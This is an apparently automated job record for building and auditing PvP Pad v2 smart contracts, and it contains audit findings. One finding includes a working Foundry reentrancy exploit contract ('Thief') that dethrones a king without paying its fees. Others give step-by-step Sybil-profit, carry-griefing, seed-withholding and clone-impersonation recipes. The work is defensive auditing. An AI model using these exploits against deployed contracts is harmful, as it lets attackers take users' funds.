{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"f5fb4362-0b07-422e-90d1-21870a363a6a","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"d422f4b41c6f4881778dfc4b33964ed5c7b2e070da0efb6b6beb2958701ba3cd","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"8dc47f8af180d03aa18347690fc1518210ffeb5a5b1734ecc714aabdb3c7b313","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"4effd4026aa94c5cfdf1a569018002d629bb6f2f8762bc7e4bfa07395dbf5ed3","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"5b1f1c328441db4ad7651d57a16d31155f63530ecf48ea980774537d9d908f9b","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"eff67a9ffd522f0445c9f49611adba325b767dd17884ab689c7d3ba00fe3bb23","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"a4ba3dba93707fa50be56f24e8e62ea843bfca85135ee4e32e69c2871801df5c","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"ddbad4061842807aaa0c1be0ac43338784a64d2f24b4d3f669a606b6503bb4b5","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"b62ba1faed30f282b18b85ef11e4f9c672574730a37111b50189e1f02978f091","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"PvP Pad v2 on Robinhood Chain (4663): launchpad where every launch is a fast Spireth game; all payments in ETH.\n\nDECISION (final): contracts only. This launch mints NO token at deployment: no token name or symbol, no pool, no distributor; all tokens (PvP included) are created later by the pad itself. No website or URL in this job; a later job.continue builds it.\n\nBASE: a fresh deployment of github.com/identity-md-launches/launch-1643-dontbuythistoken @2ed30a2f81876c537e98f792e7239012e3e64311 (launch 1643, deployed but never opened). Keep everything in that repo (contracts, deploy order, constructor args, launch.json, foundry.toml, README salt guide, every fix in docs/AUDIT.md) except the three changes below. Its deploy rules still hold: one transaction under 16,777,216 gas (target <13M incl. genesis), each runtime <24,576 bytes, constructors call nothing outside the manifest, nothing called after deployment.\n\nCHANGE 1, SEAT RAFFLE. Replaces the free first-come mint (AUDIT #4, #22), so seats never go to whoever is fastest.\n- enter() payable, exactly 0.001 ETH, one entry per wallet per game, no cap on entries; reverts until openPad and after signup. No tx.origin or EOA checks. The first entry opens the 10-minute signup.\n- Entry fees are never refunded. They go to PadLiquidity's burn bucket (fundBurn) for every game, genesis included, and wait there until PvP graduates.\n- When signup ends, the first upkeep or public draw(n) records its L2 block (ArbSys arbBlockNumber) as the commit; seed = keccak(game, arbBlockHash of commit+1, +2, +3), never block.number, blockhash or prevrandao; recommit if those hashes leave the 256-block window. Then exactly min(entries, 200) seats are drawn uniformly at random: with 200 or fewer entries everyone plays, and entry order or timing gives no edge. Each seat becomes an Imp as today. The draw runs in bounded chunks (upkeep and draw(n)); measure its gas with 5,000 entries.\n- Play starts when the draw completes and ends at the bell, when all Imps are dead, or 50 min after play start. Death: 10 min without a roll, from play start if never rolled. Rolls revert until the draw completes.\n- isLiveForKing counts entries before the draw and Imps after it (still >= 5).\n- Failed genesis and restartGenesis work as today.\n- Views and events for all new state: entry count, entrants paged, my entry and seat, draw progress; status() gains a drawing phase.\n- New code keeps the repo's safety rules: reentrancy guards, CEI, bounded loops, internal accounting, gas-capped ETH pushes with claimable fallback.\n\nCHANGE 2, KING FEES (AUDIT #21): before crowning, takeCrown runs distribute over up to 8 pools so the outgoing king is paid first (skip on the first crown). A failing pool must never block a bid.\n\nCHANGE 3, REAL UNISWAP V4 IN TESTS (AUDIT #6): replace MockPoolManager with the real Uniswap v4-core PoolManager (pinned release, compiled in tests; a test-only profile is fine) in every graduation, distribute, burn, price-limit, extsload/slot0 and hook test. Mine the PadHook salt in tests. Fix whatever this reveals. Keep MockArbSys.\n\nTESTS: update the existing suite, plus: fee amount and burn routing, one entry per wallet, no refunds, everyone seated at <= 200 entries and exactly 200 above, fairness across many seeds, chunked draw and its gas at 5,000 entries, recommit after the window, no roll before the draw, play start and the 50-minute end, cost of griefing genesis rounds, old king paid before dethroning, a failing pool cannot block takeCrown; on the real PoolManager: graduation when sold out and after a small raise, distribute with the token-side sale, burn partial fill at the price limit, foreign initialize rejected.\n\nLAUNCH.JSON: same as the repo: {\"kind\":\"evm_contracts\",\"contracts\":[{\"contract\",\"constructorArgs\"}],\"notes\"} in deploy order; args are strings, addresses lowercase. foundry.toml keeps bytecode_hash = \"none\", cbor_metadata = false. Validate it. Never deploy, broadcast or call RPCs.\n\nDELIVER: Foundry project; updated docs/AUDIT.md (including what a bot pays to win most seats), test report, docs/VERIFY.md (robin.etherscan.io); README: legal review before public launch.","parentJobId":null,"planHash":"ab33de01a34c1ebbd33bdc00371257468544c8287fd487eb7bb3c3d83fd62533","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"f5fb4362-0b07-422e-90d1-21870a363a6a","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1715-pvp-pad-v2-robinhood"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52606","feedbackHash":"df3a5d2fdd5a99d0302cb1aed84aaba176b0853bf9fcec5c262cfadb9e994189","nodeKey":"audit_economics","submissionHash":"d422f4b41c6f4881778dfc4b33964ed5c7b2e070da0efb6b6beb2958701ba3cd","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51304","feedbackHash":"fa6bad241590ef9e9df26f36d70a95a5f165db1b1e3ba00b38ac5635b2957431","nodeKey":"audit_flow","submissionHash":"8dc47f8af180d03aa18347690fc1518210ffeb5a5b1734ecc714aabdb3c7b313","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"53925","feedbackHash":"da7a9e114b6ae1517d12ee6894175486b0bc68a5da048a10f62f1efe2608248e","nodeKey":"audit_judge","submissionHash":"3c89ca8ebcc4a4817e43d802cbbed61933d2dd42851922e255c5402487046bcb","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51022","feedbackHash":"d018465deb6380b2796ce5fe170769cb07539d0ff953137950839215c1c70767","nodeKey":"audit_judge","submissionHash":"4effd4026aa94c5cfdf1a569018002d629bb6f2f8762bc7e4bfa07395dbf5ed3","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50907","feedbackHash":"c5195a5f2f41c508c6d3d826c7cc48d8a1ff7bb334355a22b245b19328890c6a","nodeKey":"audit_math","submissionHash":"5b1f1c328441db4ad7651d57a16d31155f63530ecf48ea980774537d9d908f9b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"53936","feedbackHash":"1b1d7bcb2bddf184cc96e39b200f21fe0523417403f4fb3c399feda767fe91df","nodeKey":"audit_permissions","submissionHash":"eff67a9ffd522f0445c9f49611adba325b767dd17884ab689c7d3ba00fe3bb23","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51058","feedbackHash":"c92442ebe4a778e97679c50aca805a9e64a587f0924a4c00d18a0f0d152f519e","nodeKey":"build_contract_project","submissionHash":"c97c273990c28829c0790c173fd8786c81689c9c7d989a8e66926974030e3a56","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51367","feedbackHash":"af52766c7c1c1ef5a5191e3edd9a2b7f87aea15b9ca46d8e96b5bccaa06d72a4","nodeKey":"build_contract_project","submissionHash":"a4ba3dba93707fa50be56f24e8e62ea843bfca85135ee4e32e69c2871801df5c","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51186","feedbackHash":"1daa3ff419df56328c906e2001e3943c85dc71ff4c14ab5a6471b9eba95b5bea","nodeKey":"manifest","submissionHash":"e61ac54cd911bcc5af379be989729e1d18dc0d857d74b03a64754524f2f0c0ef","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51345","feedbackHash":"120abc1351cbe59a040ad03bf1de86922401f26951b730a9b849b328b0d2c8e5","nodeKey":"manifest","submissionHash":"ddbad4061842807aaa0c1be0ac43338784a64d2f24b4d3f669a606b6503bb4b5","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51435","feedbackHash":"52aa7189a632e21642adb53681ac2db9c2356acde0e5133655493a4f5c5ad2f5","nodeKey":"write_foundry_tests","submissionHash":"b62ba1faed30f282b18b85ef11e4f9c672574730a37111b50189e1f02978f091","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52174","feedbackHash":"dbf97692e1532b891382d148dbea684fb6cccc165ee85357353c689630451344","nodeKey":"write_foundry_tests","submissionHash":"d723459a6b6ccf00c410f3bedc44d18f13b6e77c078f0a9312c37a69a549a14f","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"cccd7aa648e7f2bd7c162cbdc36c009f464dc77fd6c425aad8bdc41a2d70357e","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c97fd6a73e3737dc","findings":[],"hash":"1e2524c2907fb292de9efcfa724bf6211e7a24526f5ff843cd197fbbb8e65dd7","nodeId":"7d909da2-060d-42d2-86ff-a00b846f6300","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency that changed the same files after it was accepted: ","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":0,"wallClockMs":752}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"96ecbe9236c400bb","findings":[{"citation":"resolved","description":"CHANGE 2 / AUDIT #21 promise that the outgoing king is paid the pool fees accrued during its reign before the crown changes. takeCrown implements this as a swallowed `try liquidity.distribute{gas: CROWN_DISTRIBUTE_GAS}(8) {} catch {}`. PadLiquidity.distribute runs under PadLiquidity's `guard` (locked), and PadLiquidity.claim() (src/PadLiquidity.sol:263-270) runs under the same `locked` flag while handing all remaining gas to msg.sender. Any account holding a PadLiquidity claimable (every king whose 30k-gas fee push failed once, which a contract king arranges on purpose with a reverting receive) can call PadLiquidity.claim and, inside its receive, call KingOfThePad.takeCrown: distribute(8) reverts with 'reentrancy', the catch discards it, `king = msg.sender` runs, and the previous king only gets its bid refund. All ETH fees and token-side fee sales accrued since the last distribute stay in the pools and are paid to the usurper by the next distribute, which takeCrown itself triggers through pad.upkeepFor -> distribute(2). Attacker cost: gas plus a valid bid (refunded when dethroned later); a former-king claimable can be as small as 1 wei. The loss is bounded by the undistributed backlog, which is unbounded in principle because token fees are sold 2M tokens per collection at a 1% price limit. Other starvation paths were checked and do not work: with the 63/64 rule a caller cannot starve the 4.5M stipend while keeping enough gas for the rest of takeCrown, and the 1% swap limit means at most one initialized tick (spacing 200) can be crossed per collect, so a pool cannot be made to exceed COLLECT_GAS. Merged from audit_permissions (medium) and audit_economics (high); funds paid to the wrong party under attacker control, so high. Minimal fix preserving the design: give PadLiquidity.claim a gas-capped push or its own lock so the shared `locked` flag is never held while untrusted code runs, and/or make takeCrown revert when distribute fails for the reentrancy reason while still catching genuine pool failures (collectPool already isolates them).","line":73,"path":"src/KingOfThePad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, IERC20Min} from \"src/interfaces/Interfaces.sol\";\nimport {IPoolManager as V4Manager} from \"lib/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey as V4Key} from \"lib/v4-core/src/types/PoolKey.sol\";\nimport {BalanceDelta} from \"lib/v4-core/src/types/BalanceDelta.sol\";\n\n/// @dev ArbSys stand-in (same shape as the project's MockArbSys; copied so this file is self-contained).\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\n/// @dev Donates fees into a real v4 pool so PadLiquidity has something to distribute.\ncontract Donor is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    receive() external payable {}\n\n    function donate(PoolKey memory key, uint256 e) external {\n        pm.unlock(abi.encode(key, e));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (PoolKey memory key, uint256 e) = abi.decode(data, (PoolKey, uint256));\n        V4Key memory vkey = abi.decode(abi.encode(key), (V4Key));\n        V4Manager(address(pm)).donate(vkey, e, 0, \"\");\n        pm.sync(address(0));\n        pm.settle{value: e}();\n        return \"\";\n    }\n}\n\n/// @dev A former king. While `reject` is set every ETH push to it fails, so its fees become claimable\n/// in PadLiquidity. Later it claims them and, inside PadLiquidity.claim (PadLiquidity is locked), bids\n/// for the crown: takeCrown's pre-crown distribute reverts with \"reentrancy\", is swallowed, and the\n/// sitting king is dethroned without the fees that accrued during its reign.\ncontract Thief {\n    KingOfThePad immutable king;\n    PadLiquidity immutable liq;\n    bool public reject = true;\n    uint256 public bidAmount;\n\n    constructor(KingOfThePad king_, PadLiquidity liq_) {\n        king = king_;\n        liq = liq_;\n    }\n\n    function setReject(bool r) external {\n        reject = r;\n    }\n\n    function bid(uint256 v) external {\n        king.takeCrown{value: v}();\n    }\n\n    function attack(uint256 v) external {\n        bidAmount = v;\n        liq.claim();\n    }\n\n    receive() external payable {\n        if (reject) revert(\"no\");\n        if (bidAmount != 0) {\n            uint256 v = bidAmount;\n            bidAmount = 0;\n            king.takeCrown{value: v}();\n        }\n    }\n}\n\ncontract CrownReentryTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n    PadToken pvpToken;\n    ArbSysStub arb;\n    Donor donor;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        PadToken t = new PadToken();\n        PadGame g = new PadGame();\n        pad = new PvPPad(OWNER, address(t), address(g));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        donor = new Donor(pm);\n        vm.deal(address(donor), 10 ether);\n        for (uint256 i; i < 12; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n        }\n        // open the pad with a mined salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes memory buf = abi.encodePacked(bytes1(0xff), address(liq), bytes32(0), h);\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            uint256 a;\n            assembly (\"memory-safe\") {\n                mstore(add(buf, 53), i)\n                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n            }\n            if (a & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        pvpToken = PadToken(pad.tokenOf(1));\n        // play genesis out and graduate it\n        for (uint256 i; i < 4; ++i) {\n            vm.prank(players[i]);\n            pvp.enter{value: 0.001 ether}();\n        }\n        advance(10 minutes);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        for (uint256 r; r < 3; ++r) {\n            for (uint256 i; i < 4; ++i) {\n                if (pvp.ended()) break;\n                vm.prank(players[i]);\n                pvp.roll{value: 0.002 ether}();\n            }\n            advance(61);\n        }\n        while (!pvp.ended()) advance(60);\n        advance(5);\n        pvp.poke();\n        if (!pvp.finalized()) pvp.finalize();\n        if (!pvp.graduated()) pvp.graduate();\n        assertTrue(pad.genesisGraduated());\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function test_outgoingKingCannotBeSkippedByReenteringFromLiquidityClaim() public {\n        Thief thief = new Thief(king, liq);\n        vm.deal(address(thief), 1 ether);\n        // 1. thief is king; a fee push to it fails, so its fees become claimable in PadLiquidity\n        thief.bid(0.01 ether);\n        donor.donate(liq.poolKey(address(pvpToken)), 0.1 ether);\n        liq.distribute(1);\n        assertGt(liq.claimable(address(thief)), 0, \"fees parked as claimable\");\n        // 2. an honest bidder takes the crown and fees accrue during its reign\n        vm.warp(king.challengeOpensAt());\n        vm.prank(players[9]);\n        king.takeCrown{value: 0.011 ether}();\n        donor.donate(liq.poolKey(address(pvpToken)), 0.2 ether);\n        vm.warp(king.challengeOpensAt());\n        // 3. thief claims and re-enters takeCrown while PadLiquidity is locked\n        thief.setReject(false);\n        uint256 before = players[9].balance;\n        thief.attack(0.0121 ether);\n        if (king.king() == address(thief)) {\n            // CHANGE 2: the outgoing king must be paid its accrued pool fees before being dethroned\n            assertGe(\n                players[9].balance - before,\n                0.011 ether + 0.2 ether - 1e12,\n                \"outgoing king dethroned without the fees accrued during its reign\"\n            );\n        }\n    }\n}","reproduction":"State: PvP graduated on the real v4 PoolManager. 1) Contract T (receive reverts) calls takeCrown{0.01 ETH} (first crown). 2) 0.1 ETH of fees are donated to the PvP pool; anyone calls PadLiquidity.distribute(1): push to T fails, claimable[T] = 0.1 ETH. 3) After 1 h, honest EOA H calls takeCrown{0.011 ETH}; T accepts its refund. 4) 0.2 ETH of fees accrue in the PvP pool during H's reign. 5) After 1 h, T flips its receive to accept and calls PadLiquidity.claim(); inside receive T calls king.takeCrown{0.0121 ETH}. Expected: H receives 0.011 ETH refund plus ~0.2 ETH of fees before Crowned, or the bid reverts. Actual: distribute reverts 'reentrancy' and is swallowed; king() == T; H's balance rises by exactly 0.011 ETH; the next distribute pays the 0.2 ETH to T. Run: forge test --match-path test/scratch/P1.t.sol -> [FAIL: outgoing king dethroned without the fees accrued during its reign: 11000000000000000 < 210999000000000000].","severity":"high","snippet":"            try liquidity.distribute{gas: CROWN_DISTRIBUTE_GAS}(8) {} catch {}","title":"takeCrown's pre-crown distribute is bypassed by re-entering from PadLiquidity.claim: the sitting king is dethroned without its accrued fees, which the next distribute pays to the usurper"},{"citation":"resolved","description":"AUDIT #13 justifies FUNDED_RELEASE_MULTIPLE = 3 by claiming a five-wallet sybil that rolls X recovers 8% (roll pot) + 24% (3x funded) + about 45% (dumping tokens into the graduated pool) = 77% of X, so capturing funded ETH is unprofitable. The 45% is wrong. After a raise of e ETH the curve leaves the pool initialised at price (1+e)^2/1e9 with e real ETH and only e*1e9/(1+e)^2 tokens, while the sole buyer holds 1e9*e/(1+e) tokens, (1+e) times the pool's token reserve. Selling S tokens into a CPMM with reserve T returns e*S/(T+S) less the 1% fee, i.e. 0.99(1+e)/(1.99+0.99e) of the curve ETH: 65% at e=0.9, 75% at e=2, 81% at e=3.4. Total recovery is therefore ~105% of X whenever the funded pot F >= 24% of X, so a bot that fills a launch's seats (cheap when honest demand is low, AUDIT #22) earns the king's games share at a profit. The bot can also steer the share: fundGames only looks at the last 10 launches and launch() is free, so 10 junk launches plus five 0.001 ETH entries make the bot's game the only live one in the window. Who loses: the king's 50% games share and any carry pot end with the bot instead of honest players; only the 2% roll burn and the 1% pool fee leak. Reproduced with the economics specialist's proof on the real PoolManager (curve ETH 3.3894, roll pot 0.3013, pot paid back 1.2051 incl. 0.9 funded, dump 2.7553 = 81%, spent 3.806, back 3.9605, profit 0.1545 ETH before ~1,950 L2 transactions of gas). The proof needs FOUNDRY_GAS_LIMIT raised above the project's 300M (it uses 797M gas); under the default limit it fails with a plain EvmError: Revert, so it is not attached as a proof here. Fix options that keep the design: size the release from what a sybil cannot recover (e.g. release <= roll-earned pot or <= 25% of curve ETH), or hold funded ETH back when one buyer holds most of the curve supply; at minimum correct AUDIT #13 so the owner can decide.","line":36,"path":"src/PadGame.sol","reproduction":"State: PvP graduated. 1) Anyone calls pad.launch('Bot','BOT','') (free). 2) 40 bot wallets enter (0.04 ETH). 3) A king bids 2 ETH: fundGames sends the 1 ETH games share to the bot game, the only live launch (fundedPot ~1.0002 ETH incl. PvP carry). 4) After signup, draw; all 40 seated. 5) 49 rounds x 40 rolls at 0.002 ETH (cooldown 61 s): raise 3.3894 ETH, roll pot 0.3013 ETH. 6) Game ends at the 50-minute cap with 40 living; resolvePending, finalize (fee to a bot), graduate on the real PoolManager. 7) Bots dump all tokens: 2.7553 ETH back. Expected per AUDIT #13: total back <= spent. Actual: back 3.9605 ETH > spent 3.806 ETH. Run: FOUNDRY_GAS_LIMIT=18446744073709551615 forge test --match-path test/scratch/P2.t.sol (copy of .imd/reads/proofs/Proof_6cbf8ad9f49b.t.sol) -> [FAIL: capturing funded ETH costs more than it returns: 3960452434960208273 > 3806000000000000000].","severity":"medium","snippet":"    uint256 public constant FUNDED_RELEASE_MULTIPLE = 3;","title":"Funded-pot capture by a Sybil game is net profitable: the 3x release cap rests on a 45% token-dump recovery figure, but a sole curve buyer recovers about 81% of the curve ETH on the real v4 pool"},{"citation":"resolved","description":"_create unconditionally forwards the entire carryPot to every new launch as fundedPot, and launch() has no fee, stake or rate limit once genesis has graduated. The carry pot is where the king's games share lands when no game is live (fundGames), where funded ETH that failed the >=5-living / 3x rules returns, and where a whole pot goes when every Imp died. A PadGame with no entry has entrants.length == 0, so upkeepStep returns at once, poke() skips the lifecycle, ended() is false forever (drawComplete never set), finalize() reverts 'not finalizable' and there is no outflow: the ETH sits in the clone indefinitely. The only way back is for someone to pay 0.001 ETH to enter, wait 10 min of signup plus the draw and 10 min of dead play, and finalize (living < 5 returns the funded ETH to carry), after which the griefer calls launch() again. The same free launch also lets anyone push every honest live game out of the king's last-10 window (fundGames, src/PvPPad.sol:169) with 10 junk launches, so the king's share goes to carry and then to the griefer's next launch. The AUDIT #13 promise that unreleased funded ETH 'reaches the next launch' and the fundGames comment 'the rest returns here as carry' do not hold against a free launch. Funds are not lost but denied indefinitely at gas cost. Merged from audit_permissions (medium) and audit_economics (low). Fix within the design: hand the carry to a game only when its draw completes or at the first paid entry, so a game nobody enters never custodies carry, and/or require the creator to be the first paid entrant.","line":150,"path":"src/PvPPad.sol","reproduction":"State: PvP graduated, no live game (test/scratch/CarryStrand.t.sol on this tree). 1) players[8] calls KingOfThePad.takeCrown{1 ETH}: fundGames finds count == 0, carryPot = 0.5 ETH (+ PvP carry). 2) address 0xBAD calls pad.launch('junk','J','') with no ETH: pad.carryPot() == 0, junk.fundedPot() == carry, address(junk).balance == carry. 3) Nobody enters. Over 12 x 30 days junk.poke() and pad.upkeep() change nothing; junk.ended() is false; junk.finalize() reverts 'not finalizable'; address(junk).balance is still the carry and pad.carryPot() == 0. 4) 10 more free launches by 0xBAD give launchCount 12, so any earlier live game is outside the king's window. Expected: carry reaches a launch that runs, or is recoverable without a third party paying. Actual: parked behind a 0.001 ETH + ~20 minute rescue the griefer undoes again for gas.","severity":"medium","snippet":"            IPadGame(game).fundPot{value: carry}();","title":"Free, permissionless launch() moves the whole carry pot into a game nobody has to enter; the ETH is unreachable until a third party pays to enter and waits ~20 minutes, and the griefer can repeat for "},{"citation":"resolved","description":"After the first post-signup draw/upkeep records commit block C, the seed keccak(game, arbBlockHash(C+1..C+3)) is publicly computable from L2 block C+4 but only becomes state when someone calls draw(n), poke() or any pad upkeep before C+258; otherwise the next caller recommits (recommit=true) and a fresh, unrelated seed is drawn, repeatably. A party that can preview seed S1 holds a free option: call draw if S1 seats its wallets well, otherwise stay silent and let the window lapse (on a quiet Arbitrum-stack chain it can advance blocks itself with dummy transactions). With more than 200 entrants a bot gets best-of-k seat sets instead of one uniform draw; with <= 200 only the randomized seat order changes. The brief mandates the recommit and AUDIT #23 already names keeper withholding as an accepted risk, so this is a documented design property rather than an implementation slip; it is kept because the brief also states 'entry order or timing gives no edge' and timing does give one when no competing caller exists. Mitigation: a keeper that always draws at C+4 (any enter/roll in another game also triggers _draw via upkeepStep), and state the limit in AUDIT #23. Merged from write_foundry_tests (info) and audit_flow (low).","line":173,"path":"src/PadGame.sol","reproduction":"openPad; 250 wallets enter; warp to signupEnd; draw(32) commits at C; arb.set(C+4); compute S1 = keccak(abi.encode(game, hash(C+1), hash(C+2), hash(C+3))). Branch A: draw to completion -> drawSeed == S1, one set of 200 seats. Branch B: arb.set(C+258); draw(32) -> DrawCommitted(C+258, true), no seats; advance 4; draw to completion -> drawSeed != S1 and a different set of 200 seats. Expected: one committed seed per game that no participant can decline. Actual: the sole caller between C+4 and C+257 chooses whether S1 is used. The recommit path is exercised by test/Raffle.t.sol test_recommitOnlyBeforeSeedIfHashesExpire.","severity":"low","snippet":"            if (!drawCommitted || cur > drawCommitBlock + 1 + HASH_WINDOW) {","title":"Raffle seed can be re-selected by withholding draw() until the 256-block window expires: whoever decides whether draw is called between commit+4 and commit+257 chooses between seed sets"},{"citation":"resolved","description":"PadToken.initialize and PadGame.initialize (src/PadGame.sol:134) restrict nothing but the once-only flag. The templates themselves are protected by their constructors, but any account can deploy its own minimal proxy to pad.tokenTemplate() and call initialize('Pepes Value Pepes','PVP', attacker, attacker): byte-identical code, same implementation, same name and symbol as genesis, attacker holds the full 1e9 supply and, being `liquidity`, can unlock() it. Protocol funds are safe: PadLiquidity.graduate checks msg.sender == pad.gameOf(launchId), upkeepFor checks isGame, deployHook checks pad. Impersonation and trust-surface only, so informational. Because templates deploy before PvPPad they cannot take the pad as a constructor argument; mitigation is to state in VERIFY.md and the later website brief that PvPPad.tokenOf/gameOf/isGame are the only source of truth.","line":34,"path":"src/PadToken.sol","reproduction":"1) Read pad.tokenTemplate(). 2) From any EOA deploy 0x3d602d80600a3d3981f3363d3d373d3d3d363d73<template>5af43d82803e903d91602b57fd5bf3. 3) Call initialize('Pepes Value Pepes','PVP', EOA, EOA) on the clone: succeeds, balanceOf(EOA) == 1e27, name()/symbol() equal the genesis token's. 4) Call unlock() from EOA: succeeds. Expected: only PvPPad can initialize clones. Actual: anyone can.","severity":"info","snippet":"        require(!initialized, \"initialized\");","title":"Template initializers are callable by anyone on self-made EIP-1167 clones, producing look-alike 